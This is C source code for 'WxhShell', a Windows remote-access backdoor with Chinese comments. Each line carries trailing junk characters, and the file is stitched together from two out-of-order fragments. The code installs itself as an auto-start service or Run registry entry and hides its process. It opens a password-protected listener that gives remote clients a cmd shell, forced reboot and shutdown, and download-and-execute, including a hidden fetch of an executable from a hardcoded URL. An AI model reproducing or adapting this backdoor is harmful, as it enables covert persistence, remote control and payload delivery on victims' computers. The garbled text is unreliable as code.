    if(Boot(SHUTDOWN)) B:5\+_a!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3 fKb#T  
    else { bHx09F]  
    closesocket(wsh);  ~ Dvxe  
    ExitThread(0); qRk&bF/  
    } .}'49=c  
    break; 1b*Me'  
    } )BI6nU  
  // 获取shell z8v]Kt&  
  case 's': { ^2C)Wk$  
    CmdShell(wsh); 5[<" _  
    closesocket(wsh); -Zs.4@GH  
    ExitThread(0); -E, d)O`;$  
    break; f|U;4{ k  
  } FvX<(8'#a  
  // 退出 D c5tRO  
  case 'x': { OCR`1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b EB3 #uc  
    CloseIt(wsh); ^d2#J  
    break; }4'5R  
    } SrlTwcD  
  // 离开 p5RnFe l  
  case 'q': { U$zd3a_(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SP}!v5.  
    closesocket(wsh); ']Q4SB"q  
    WSACleanup(); T!-*;yu  
    exit(1); }le}Vuy\s  
    break; pxf(C<y6_  
        } )Z4ilpU,  
  } 6-"@j@l5<  
  } c lhmpu  
2HA-q),6  
  // 提示信息 \#)|6w-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + Cf"rN  
} 6z-ZJ|?  
  } c5 ^CWk K  
q!L@9&KAQ  
  return; =@e3I)D#?i  
} a^{"E8j  
)P13AfK  
// shell模块句柄 &TgS$c5k  
int CmdShell(SOCKET sock) \zCw&#D0Z  
{ "Zh3,  
STARTUPINFO si; 3?%?J^/a  
ZeroMemory(&si,sizeof(si)); Z;v5L/;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [P:+n7= ,l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +8xC%eE  
PROCESS_INFORMATION ProcessInfo; %P8*Az&]T  
char cmdline[]="cmd"; k-V3l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X }V}%  
  return 0; :P'M|U  
} 3Q0g4#eP  
 a,ff8Qm  
// 自身启动模式 &':Ecmo~`  
int StartFromService(void) =Ch^;Wyt  
{ Uf}u`"$F  
typedef struct M)qb6aD0  
{ +nAbcBJAl  
  DWORD ExitStatus;  i)!2DXn  
  DWORD PebBaseAddress; te[#FF3{  
  DWORD AffinityMask; -){aBMOv3  
  DWORD BasePriority; ,K W IuCU;  
  ULONG UniqueProcessId; TCWt3\  
  ULONG InheritedFromUniqueProcessId; K[q{)>,9  
}   PROCESS_BASIC_INFORMATION; ;T\+TZtI  
zJ*(G_H  
PROCNTQSIP NtQueryInformationProcess; ljP<WD  
\{EYkk0]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <9dfbI)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 31GqWN`>$  
4JO[yN  
  HANDLE             hProcess; +HT?> k  
  PROCESS_BASIC_INFORMATION pbi; e"(SlR  
6 h%,%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /lS5B6NU  
  if(NULL == hInst ) return 0; ]r\FC\n6e  
s-801JpiJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cj\?vX\V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /(u# D[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |)65y  
dQs>=(|t  
  if (!NtQueryInformationProcess) return 0; XiM d|D  
 JfsvK2I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3y%,f|ju  
  if(!hProcess) return 0; Kw7uUJR  
A2.GNk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Ca }+  
SE$~Wbj?  
  CloseHandle(hProcess); =D&XE*qkZ  
P''>wjMH0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T'ei>]y]  
if(hProcess==NULL) return 0; z"c,TlVN3  
Yosfk\D  
HMODULE hMod; `t"7[Zk  
char procName[255]; gHtflS  
unsigned long cbNeeded; '2Lx>nByk  
;4QE.&s`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PjP6^"  
&u!MI  
  CloseHandle(hProcess); TbD $lx3>  
t)5.m}  
if(strstr(procName,"services")) return 1; // 以服务启动 PJO.^OsM  
7_R[ =t  
  return 0; // 注册表启动 t*J?#r  
} rvacCwI  
vaLP_V  
// 主模块 +NJIi@  
int StartWxhshell(LPSTR lpCmdLine) ?_B'#,tI  
{ Kk,u{EA  
  SOCKET wsl; R7 rO7M !  
BOOL val=TRUE; h[;DRD!Z  
  int port=0; PXG@]$~3  
  struct sockaddr_in door; h$XoR0  
h$#PboLd  
  if(wscfg.ws_autoins) Install(); Z*b$&nM  
*'*,mfk[  
port=atoi(lpCmdLine); ^u2x26].  
HV'M31m~q  
if(port<=0) port=wscfg.ws_port; V|TD+7.`QB  
v 8EI   
  WSADATA data; I/%L,XyRI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !ALq?u  
OnH3Ss$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bXeJk]#y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +,g!xv4Q  
  door.sin_family = AF_INET; K^h9\< w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AV4fN@BX  
  door.sin_port = htons(port); OrF.wcg  
PC\p>6xT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .mNw^>:cq  
closesocket(wsl); Kf6 D)B 26  
return 1; 505ejO|  
} 3<l}gB'S[  
Fn0 |v66  
  if(listen(wsl,2) == INVALID_SOCKET) { #]Lodo9rS\  
closesocket(wsl); BnfuI  
return 1; G^cMY$?99  
} WFzM s  
  Wxhshell(wsl); %QQ 2u$  
  WSACleanup(); R! n7g8I%  
3}8L!2_p  
return 0; yeMe2Zx  
ZNl1e'  
} /MMnW$)  
Nc HU)  
// 以NT服务方式启动 cv1PiIl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^(Z%,j3O  
{ Wsp c ;]&  
DWORD   status = 0; t3g+>U_m  
  DWORD   specificError = 0xfffffff; acar-11_o/  
*2}f $8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ji\&?%(B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cW_l|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V2xvuDHI  
  serviceStatus.dwWin32ExitCode     = 0; ..k8HFz>"  
  serviceStatus.dwServiceSpecificExitCode = 0; *YX5bpR?  
  serviceStatus.dwCheckPoint       = 0; 4<vi@,s  
  serviceStatus.dwWaitHint       = 0; Q1{9>NI  
]d~{8h!G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2s> BNWTU  
  if (hServiceStatusHandle==0) return; s|:1z"q  
@v:Eh  
status = GetLastError(); ,t;US.s([.  
  if (status!=NO_ERROR) m`n~-_  
{ Jh<s '&FR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4.uaWM)2  
    serviceStatus.dwCheckPoint       = 0; 34[TM3L].  
    serviceStatus.dwWaitHint       = 0; Fa\jVFIQ  
    serviceStatus.dwWin32ExitCode     = status; G,c2?^#n  
    serviceStatus.dwServiceSpecificExitCode = specificError; eMdf [eS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6|{&7=1t  
    return; >qOj^WO~  
  } GKOl{och  
ms!|a_H7 r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #D%6b  
  serviceStatus.dwCheckPoint       = 0; '\+"3!$  
  serviceStatus.dwWaitHint       = 0; C(h Td%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <3/_'/C  
} 2_6ON   
1c429&-  
// 处理NT服务事件,比如:启动、停止 c`UFNNm=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =kzp$ i  
{ 1 ?Zw  
switch(fdwControl) WC37=8mA  
{ ^c >Bh[  
case SERVICE_CONTROL_STOP: CWRB/WH:  
  serviceStatus.dwWin32ExitCode = 0; ggitUQ+t;G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P,a9B2  
  serviceStatus.dwCheckPoint   = 0; &l!T2PX!  
  serviceStatus.dwWaitHint     = 0; >Yk|(!v  
  { >;bym)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wHQ$xO;vD'  
  } {&^PDa|nD  
  return; z*q+5p@~  
case SERVICE_CONTROL_PAUSE: c0rU&+:Ry  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _dz ZS(7M6  
  break; dKC*QHU  
case SERVICE_CONTROL_CONTINUE: ^,t@HN;gA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vfvp#  
  break; :g' 'GqGZ  
case SERVICE_CONTROL_INTERROGATE: (=fLWK{8  
  break; fA?v\'Qq/  
}; *]h"J]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e8wPEDN*4  
} 9wGsHf8]  
sQ^t8Y 9  
// 标准应用程序主函数 )bL(\~0g~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +f_3JL$  
{ yB;K|MXy?  
^fS_h `B  
// 获取操作系统版本 $Nj'_G\}  
OsIsNt=GetOsVer(); O=!EqaExW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O4a~(*f  
8<E U|/O  
  // 从命令行安装 [e:ccm  
  if(strpbrk(lpCmdLine,"iI")) Install(); '^2bC  
YQO9$g0% ~  
  // 下载执行文件 8D^ iQBA  
if(wscfg.ws_downexe) { Q b5vyV `  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x:]_z.5  
  WinExec(wscfg.ws_filenam,SW_HIDE); k)9 pkPl  
} 3|/zlKZz  
OF! n}.O(  
if(!OsIsNt) { g9=O<u#  
// 如果时win9x,隐藏进程并且设置为注册表启动 }.<]A  
HideProc(); u H)v\Js  
StartWxhshell(lpCmdLine); dda*gq/p  
} x$bCbg  
else 6a{b%e`  
  if(StartFromService()) ;|Rrtf9  
  // 以服务方式启动 {8~xFYc:  
  StartServiceCtrlDispatcher(DispatchTable); Bjb8#n04  
else >~G _'~_f  
  // 普通方式启动 ,L(q/#p  
  StartWxhshell(lpCmdLine); Qu|<1CrZj]  
m&6)Vt  
return 0; 1tCe#*|95  
} 5jcy*G}[  
w"E.Va  
0"c(n0L  
.W0;Vhw"  
=========================================== 0tN/P+!|  
p+{*&Hm5  
]y/!GFQ  
G:|=d0  
8lT2qqlr  
:x_;-  
" OjY#xO+'  
h%%dRi  
#include <stdio.h> 9$N~OZ;-*x  
#include <string.h> :*E#w"$,j  
#include <windows.h> sfEy  
#include <winsock2.h> dWDf(SS  
#include <winsvc.h> lRA!  
#include <urlmon.h> vsCy?  
|gJI}"T  
#pragma comment (lib, "Ws2_32.lib") mMtX:  
#pragma comment (lib, "urlmon.lib") |),3`*N  
WH0$v#8`v  
#define MAX_USER   100 // 最大客户端连接数 L[p[m~HjG^  
#define BUF_SOCK   200 // sock buffer c *]6>50  
#define KEY_BUFF   255 // 输入 buffer /-&a]PJ  
H7R6Ljd?&S  
#define REBOOT     0   // 重启 PLDp=T%  
#define SHUTDOWN   1   // 关机 JnZlz?}^  
\y0uGnmCj  
#define DEF_PORT   5000 // 监听端口 tGh!5EZ6`  
$tFmp)  
#define REG_LEN     16   // 注册表键长度  Cdbh7  
#define SVC_LEN     80   // NT服务名长度 q.g0Oz@ z  
`q(eB=6;[  
// 从dll定义API 58.b@@T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J+20]jI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |c5r&oM&m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K\vyfYi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0 P-eC|0  
VsMTzGr  
// wxhshell配置信息 9Fv VM9  
struct WSCFG { CYWL@<p,  
  int ws_port;         // 监听端口 )]a{cczL"  
  char ws_passstr[REG_LEN]; // 口令 $bT<8:g  
  int ws_autoins;       // 安装标记, 1=yes 0=no zd+<1R;  
  char ws_regname[REG_LEN]; // 注册表键名 is [p7-  
  char ws_svcname[REG_LEN]; // 服务名 ;wvhe;!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \z>L,U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xeo2 < @[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #:n:3]t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fj~,>   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0($ O1j~$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LU7d\Ch  
h1`u-tc2x  
}; f mQ`8b  
/MUa b*h  
// default Wxhshell configuration 0qU Bt9rA  
struct WSCFG wscfg={DEF_PORT, pN ^^U[  
    "xuhuanlingzhe", b/eJEL  
    1, ndU<,{r  
    "Wxhshell", r#CQCq  
    "Wxhshell", :_y}8am;H~  
            "WxhShell Service", @3F4Lg6H|  
    "Wrsky Windows CmdShell Service", y6*9, CF  
    "Please Input Your Password: ", 3"ii_#1  
  1, 4)XZ'~|  
  "http://www.wrsky.com/wxhshell.exe", N-O"y3W}  
  "Wxhshell.exe" p#eai  
    }; $ 3/G)/A  
Z*Fxr;)d  
// 消息定义模块 1\'zq;I~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @1UC9}>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @d]a#ypU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  KDODUohC  
char *msg_ws_ext="\n\rExit."; wNX2*   
char *msg_ws_end="\n\rQuit."; Fuuy_+p@G  
char *msg_ws_boot="\n\rReboot..."; E0Y>2HOuL  
char *msg_ws_poff="\n\rShutdown..."; lS.&>{  
char *msg_ws_down="\n\rSave to "; 2# y!(D8  
cU^Z=B  
char *msg_ws_err="\n\rErr!"; 6pHn%yE*  
char *msg_ws_ok="\n\rOK!"; >)sB# <e  
im6Rx=}E{  
char ExeFile[MAX_PATH]; fi6i{(K  
int nUser = 0; bvK fxAih  
HANDLE handles[MAX_USER]; *)6:yn  
int OsIsNt; ]N\J~Gm  
$ MN1:ih  
SERVICE_STATUS       serviceStatus; 2!u4nxZ.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QX]~|?q  
:Rq>a@Rp  
// 函数声明 CSC sJE#4  
int Install(void); 7vRFF@eq}  
int Uninstall(void); bCv^za]P6  
int DownloadFile(char *sURL, SOCKET wsh); z,"fr%*,N  
int Boot(int flag); j~IX  
void HideProc(void); /i${[1  
int GetOsVer(void); Vlk]  
int Wxhshell(SOCKET wsl); z)Is:LhS  
void TalkWithClient(void *cs); :UMtknV  
int CmdShell(SOCKET sock); a=m7pe ^  
int StartFromService(void); nsRZy0@$t  
int StartWxhshell(LPSTR lpCmdLine); _wC4n }J  
5V|D%t2N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _Py/,Ks.q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 23F<f+2S  
[M7&  
// 数据结构和表定义 ^,?dk![1Cv  
SERVICE_TABLE_ENTRY DispatchTable[] = 1Rrl59}5  
{ \sUk71L` j  
{wscfg.ws_svcname, NTServiceMain}, bR6g^Yf  
{NULL, NULL} "`aNNIG&  
}; w}OJ2^  
w4S0aR:yL  
// 自我安装 eC9nOwp]xH  
int Install(void) &s +DK `  
{ M:!Twz$  
  char svExeFile[MAX_PATH]; C;u8qVI  
  HKEY key; tKnvNOhn  
  strcpy(svExeFile,ExeFile); *$t<H-U-  
% |6t\[gn  
// 如果是win9x系统,修改注册表设为自启动 (d L;A0L  
if(!OsIsNt) { t3~ZGOn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +x7b9sHJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `W3;LTPEb  
  RegCloseKey(key); rj.]M6#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RS$!TTeQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7+,6 m!4  
  RegCloseKey(key); 1@ e22\  
  return 0; .=j]PckJO  
    } 5$v,%~$Xds  
  } EXdx$I=X  
} P4M*vZq)  
else { NA%(ZRSg(  
KRY%B[k  
// 如果是NT以上系统,安装为系统服务 e~Oge  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D!K){ E  
if (schSCManager!=0) zL1*w@6  
{ ileqI/40f  
  SC_HANDLE schService = CreateService x1gfo!BN  
  ( $\W|{u`  
  schSCManager, {^r8uKo:~  
  wscfg.ws_svcname, M![aty@  
  wscfg.ws_svcdisp, JGJXV3AT  
  SERVICE_ALL_ACCESS, M^i^_}~S;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F"3LG"  
  SERVICE_AUTO_START, % R18  
  SERVICE_ERROR_NORMAL, F,t ,Ja  
  svExeFile, ,a:!"Z^ f  
  NULL, U"1z"PcV  
  NULL, 2D5S%27,  
  NULL, S,K'y?6  
  NULL, YLr<^G-v  
  NULL !`u  
  ); fM[Qn*.  
  if (schService!=0) eXHk6[%[  
  { a(+.rf;  
  CloseServiceHandle(schService); :UjF<V  
  CloseServiceHandle(schSCManager); QB<9Be@e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^E)Kse.>  
  strcat(svExeFile,wscfg.ws_svcname); \#(3r1(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q*^Y8s~3I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y^7ol;t  
  RegCloseKey(key); @yBg)1AL  
  return 0; -&PiD  
    } *O>OHX  
  } bITc9Hqc  
  CloseServiceHandle(schSCManager); 54TW8y `h  
} 9uV'# sR  
} f0uzoeL<%  
`yjHLg  
return 1; zp"Lp>i  
} k4|9'V&1*6  
()< E?D=  
// 自我卸载 K;%P_f/KJP  
int Uninstall(void) }GIwYh/  
{ L*k[Vc  
  HKEY key; v/n4Lp$W^  
_j$"fg  
if(!OsIsNt) { 9:|z^r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XcOfQ s  
  RegDeleteValue(key,wscfg.ws_regname); OH`| c  
  RegCloseKey(key); sFqLxSo_I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' `0kW_'  
  RegDeleteValue(key,wscfg.ws_regname); }?"}R<F|M,  
  RegCloseKey(key); k lLhi<*  
  return 0; z 6~cm6j  
  } dP>~ExYtm  
}  U 6((  
} "7v/ -   
else { ?F{sym@i  
AJk0jh\.j%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -f&16pc1t  
if (schSCManager!=0) x -wIgo+  
{ R+'$V$g\X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8(yZX4OH>  
  if (schService!=0) j]-0m4QF  
  { ?gknJ:  
  if(DeleteService(schService)!=0) { P}So>P~2  
  CloseServiceHandle(schService); .hBq1p  
  CloseServiceHandle(schSCManager); \rXmWzl{  
  return 0; q|An  
  } RCXm< /  
  CloseServiceHandle(schService); *&WkorByW  
  } !Zo we*`  
  CloseServiceHandle(schSCManager); !Tc jJ2T  
} {WBe(dc_%  
} _?j66-( Q  
IM.sW'E  
return 1; j7(sYo@x7  
}  8*nv+  
#xUX1(  
// 从指定url下载文件 h |Ofi  
int DownloadFile(char *sURL, SOCKET wsh) @vsgmz  
{ ?vmu,y  
  HRESULT hr; ?]*WVjskE  
char seps[]= "/"; /_WA F90R?  
char *token; `SFA`B)[5@  
char *file; eAU0 8gM.  
char myURL[MAX_PATH]; F$L2bgQR?'  
char myFILE[MAX_PATH]; `IP?w&k)  
vbt0G-%Z  
strcpy(myURL,sURL); RIhu9W   
  token=strtok(myURL,seps); 3,ihVVr&P  
  while(token!=NULL) s$%t*T2J>  
  { UB5CvM28  
    file=token; oo+i3af&7  
  token=strtok(NULL,seps); :B^YK].  
  } /"(`oe<  
XmZs4~\K$G  
GetCurrentDirectory(MAX_PATH,myFILE); u+5&^"72,  
strcat(myFILE, "\\"); [b2KBww\  
strcat(myFILE, file); EZ,Tc ;f=  
  send(wsh,myFILE,strlen(myFILE),0); {yo{@pdX>  
send(wsh,"...",3,0); lEZODc+%Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kw%to9 eh)  
  if(hr==S_OK) O]-)?y/  
return 0; |wxAdPe  
else :VkuK@Th`  
return 1; ftb .CPWI  
8O[br@h:5  
} >(?}'pS8  
X-,mNv z  
// 系统电源模块 jv ;8Mm  
int Boot(int flag) w@![rH6~F  
{ +YJpVxYmZ  
  HANDLE hToken; yG' 5:  
  TOKEN_PRIVILEGES tkp; N9dx^+\  
.](~dVp%~  
  if(OsIsNt) { '?Jz8iu-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nF5\iV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1 $m[# 3  
    tkp.PrivilegeCount = 1; o?{-K-'B$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |j2$G~B6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QmKEl|/{u  
if(flag==REBOOT) { $~ >/_<~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (v,g=BS,  
  return 0; ,q K'!  
} ?wi^R:2|j  
else {  "d; T1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L^FQ|?*  
  return 0; , 3&D A  
} Ajm  
  } !hugn6  
  else { q/h , jM  
if(flag==REBOOT) {  vWH)W?2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FyhLMW3  
  return 0; oWLv-{08  
} {9XN\v=$"*  
else { 0{'m":D9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K'c[r0Ew  
  return 0; Jm`{MzqL  
}  rY CIU  
} +zg3/C4 S  
ROr|n]aJj  
return 1; K2qKkV@  
} {+^&7JX  
S*NeS#!v  
// win9x进程隐藏模块 L2Fi/UWM  
void HideProc(void) 4*&2D-8<K  
{ 7o7*g 7  
SUb:0GUa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [{q])P;  
  if ( hKernel != NULL ) `D?  &)Y  
  { yIu_DFq%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tl L,dPM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $EnBigb!  
    FreeLibrary(hKernel); BC)1FxsGf  
  } blKF78  
> ofWHl[-  
return; YJF|J2u  
} @Yw>s9X  
V X.9mt  
// 获取操作系统版本 f<;eNN  
int GetOsVer(void) he|.Ow  
{ Y;{(?0 s  
  OSVERSIONINFO winfo; 4vi [hiV   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gLwrYG7@  
  GetVersionEx(&winfo); eyuQ}R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &<EixDi4q  
  return 1; v(]dIH  
  else b/d 1(B@  
  return 0; {n{-5Y  
} I`nC\%g  
=C- b#4Q  
// 客户端句柄模块 fwi -   
int Wxhshell(SOCKET wsl) /<k]mY cu  
{ 9z+ZFIf7d  
  SOCKET wsh; [ZL<Q  
  struct sockaddr_in client; ;+*/YTkC+P  
  DWORD myID; >J_(~{-sNG  
A"6&   
  while(nUser<MAX_USER) `(xzCRX  
{ @CS%=tE}U  
  int nSize=sizeof(client); qb$M.-\ne  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N_E)f  
  if(wsh==INVALID_SOCKET) return 1; Jo\karpb  
"%w E>E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S;tvt/\!Z  
if(handles[nUser]==0) A&{eC C  
  closesocket(wsh); sZ0)f!aH:_  
else $mxl&Qr>Q;  
  nUser++; y;f nC5Q  
  } C[CNJ66  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U2 Cmf  
 63VgQ  
  return 0; sj&1I.@,>  
} 7w}]9wCN?  
Qx8O&C?Ti  
// 关闭 socket '26 ,.1  
void CloseIt(SOCKET wsh) w3M F62:  
{ kR <\iT0j  
closesocket(wsh); KB$Y8[  
nUser--; >VJ"e`  
ExitThread(0); {a,U{YJ\H  
} 7 iQa)8,  
s14 ot80)  
// 客户端请求句柄 4JL]?75  
void TalkWithClient(void *cs) QC(ce)Y  
{ >+@EU)  
{6mFI1;q  
  SOCKET wsh=(SOCKET)cs; S_;m+Ytg  
  char pwd[SVC_LEN]; F#z1 sl'  
  char cmd[KEY_BUFF]; 91UC>]}H  
char chr[1]; 2^)_XVX1  
int i,j; ]Aj5 K  
Y8/&1s_  
  while (nUser < MAX_USER) { |N|[E5Cn  
<1<0odB  
if(wscfg.ws_passstr) { IO"q4(&;P4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 0tt':  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a``Q}.ST  
  //ZeroMemory(pwd,KEY_BUFF); of>H&G)@  
      i=0; x5k6"S"1,  
  while(i<SVC_LEN) { _xM3c&VeG  
SKo*8r   
  // 设置超时 ^ R3g7 DG  
  fd_set FdRead; {*X|)nr  
  struct timeval TimeOut; :` S\p[5  
  FD_ZERO(&FdRead); '\P+Bu]6&  
  FD_SET(wsh,&FdRead); n66b(6"mO2  
  TimeOut.tv_sec=8; N`LY$U+N|  
  TimeOut.tv_usec=0; k;HI-v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >iI_bcqF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *rC%nmJwk!  
7e Hj"_;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e'~<uN>  
  pwd=chr[0]; NZ- 57Ji  
  if(chr[0]==0xd || chr[0]==0xa) { 2,p= %  
  pwd=0; pz]KUQ  
  break; fwSI"cfM  
  } 9Yji34eDZ  
  i++; |%j7Es  
    } uf`/-jY  
"F?p Y@4  
  // 如果是非法用户,关闭 socket >~uKkQ_p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W\O.[7JP  
} wdRk+  
ZSn6JV'g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VW:Voc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l>pnY%(A  
:V#B]:Z9  
while(1) { <H|]^An!H  
=!=DISPo  
  ZeroMemory(cmd,KEY_BUFF); Pk:b:(4  
DK<}q1xi  
      // 自动支持客户端 telnet标准   GX N:=  
  j=0; W1[C/dDc  
  while(j<KEY_BUFF) { q ;e/gP2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lp{/  
  cmd[j]=chr[0]; g?>   
  if(chr[0]==0xa || chr[0]==0xd) { +`TwBN,kp-  
  cmd[j]=0; i7`/"5I  
  break; F#|mN0op  
  } n0w0]dJ&lc  
  j++; dbfI!4  
    } ]u%Y8kBe  
1fV\84m^  
  // 下载文件 MwWN;_#EO)  
  if(strstr(cmd,"http://")) { LP} j0)n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OJs s  
  if(DownloadFile(cmd,wsh)) /%P,y+<}iG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2~@Cj@P]  
  else w=ZK=@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V.w!]{xm  
  } m!:sDQn{3  
  else { #|6M*;lN|  
W<H<~wf#  
    switch(cmd[0]) { SOvo%L@  
  q`@8  
  // 帮助 ~.Cu,>fV  
